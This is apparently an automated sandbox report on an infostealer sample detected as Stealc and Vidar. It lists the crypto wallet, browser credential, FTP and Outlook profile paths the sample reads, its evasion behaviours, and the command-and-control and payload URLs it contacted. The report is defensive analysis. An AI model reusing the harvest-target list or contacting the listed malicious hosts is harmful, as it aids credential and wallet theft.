Source: 3WffcqLN3q.exe String found in binary or memory: iDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json
Source: 3WffcqLN3q.exe String found in binary or memory: |1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|Mul
Source: 3WffcqLN3q.exe String found in binary or memory: eam Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\
Source: 3WffcqLN3q.exe String found in binary or memory: eam Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\
Tries to harvest and steal Bitcoin Wallet information
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\Exodus\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\MultiDoge\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\Binance\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\ Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004 Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: Process Memory Space: 3WffcqLN3q.exe PID: 3872, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Stealc
Source: Yara match File source: 0.3.3WffcqLN3q.exe.bb0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.3WffcqLN3q.exe.910e67.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.3WffcqLN3q.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.3WffcqLN3q.exe.910e67.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.3WffcqLN3q.exe.bb0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.3WffcqLN3q.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.2610980463.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2069681714.0000000000BB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2611600844.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2611482078.0000000000910000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 3WffcqLN3q.exe PID: 3872, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: Process Memory Space: 3WffcqLN3q.exe PID: 3872, type: MEMORYSTR
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C860C40 sqlite3_bind_zeroblob, 0_2_6C860C40
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C860D60 sqlite3_bind_parameter_name, 0_2_6C860D60
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C788EA0 sqlite3_clear_bindings, 0_2_6C788EA0
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1542029 Sample: 3WffcqLN3q.exe Startdate: 25/10/2024 Architecture: WINDOWS Score: 100 76 sirault.be 2->76 88 Suricata IDS alerts for network traffic 2->88 90 Found malware configuration 2->90 92 Malicious sample detected (through community Yara rule) 2->92 94 11 other signatures 2->94 10 3WffcqLN3q.exe 36 2->10         started        15 updater.exe 2->15         started        17 svchost.exe 3 8 2->17         started        19 svchost.exe 11 1 2->19         started        signatures3 process4 dnsIp5 80 185.241.61.210, 49705, 80 ULX-UKGB unknown 10->80 82 sirault.be 185.98.131.200, 443, 49728 RMI-FITECHFR France 10->82 64 C:\Users\user\AppData\...\softokn3[1].dll, PE32 10->64 dropped 66 C:\Users\user\AppData\Local\...\nss3[1].dll, PE32 10->66 dropped 68 C:\Users\user\AppData\...\mozglue[1].dll, PE32 10->68 dropped 70 10 other files (6 malicious) 10->70 dropped 98 Detected unpacking (changes PE section rights) 10->98 100 Detected unpacking (overwrites its own PE header) 10->100 102 Tries to steal Mail credentials (via file / registry access) 10->102 110 6 other signatures 10->110 21 cmd.exe 1 10->21         started        23 WerFault.exe 19 16 10->23         started        104 Multi AV Scanner detection for dropped file 15->104 106 Query firmware table information (likely to detect VMs) 15->106 108 Tries to detect sandboxes and other dynamic analysis tools (window names) 15->108 112 4 other signatures 15->112 27 WerFault.exe 2 17->27         started        84 20.190.160.20 MICROSOFT-CORP-MSN-AS-BLOCKUS United States 19->84 86 40.126.32.136 MICROSOFT-CORP-MSN-AS-BLOCKUS United States 19->86 file6 signatures7 process8 dnsIp9 29 HIJEGDBGDB.exe 1 3 21->29         started        33 conhost.exe 21->33         started        78 52.168.117.173 MICROSOFT-CORP-MSN-AS-BLOCKUS United States 23->78 62 C:\ProgramData\Microsoft\...\Report.wer, Unicode 23->62 dropped file10 process11 file12 72 C:\ProgramDatabehaviorgraphoogle\Chrome\updater.exe, PE32+ 29->72 dropped 74 C:\Windows\System32\drivers\etc\hosts, ASCII 29->74 dropped 114 Multi AV Scanner detection for dropped file 29->114 116 Query firmware table information (likely to detect VMs) 29->116 118 Uses powercfg.exe to modify the power settings 29->118 120 7 other signatures 29->120 35 powershell.exe 23 29->35         started        38 cmd.exe 29->38         started        40 sc.exe 29->40         started        42 12 other processes 29->42 signatures13 process14 signatures15 96 Loading BitLocker PowerShell Module 35->96 44 WmiPrvSE.exe 35->44         started        46 conhost.exe 35->46         started        48 conhost.exe 38->48         started        50 wusa.exe 38->50         started        52 conhost.exe 40->52         started        54 conhost.exe 42->54         started        56 conhost.exe 42->56         started        58 conhost.exe 42->58         started        60 9 other processes 42->60 process16
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.98.131.200
 sirault.be France
16347 RMI-FITECHFR false
52.168.117.173
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
20.190.160.20
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
185.241.61.210
 unknown unknown
204476 ULX-UKGB true
40.126.32.136
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false

Contacted Domains

Name IP Active
sirault.be 185.98.131.200 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://185.241.61.210/903e65da79c0ad0a/nss3.dll true
    		unknown
    http://185.241.61.210/903e65da79c0ad0a/freebl3.dll true
      		unknown
      http://185.241.61.210/903e65da79c0ad0a/mozglue.dll true
        		unknown
        http://185.241.61.210/903e65da79c0ad0a/msvcp140.dll true
          		unknown
          http://185.241.61.210/903e65da79c0ad0a/softokn3.dll true
            		unknown
            https://sirault.be/chrome_93.exe false
              		unknown
              http://185.241.61.210/903e65da79c0ad0a/sqlite3.dll true
                		unknown
                http://185.241.61.210/ true
                  		unknown
                  http://185.241.61.210/903e65da79c0ad0a/vcruntime140.dll true
                    		unknown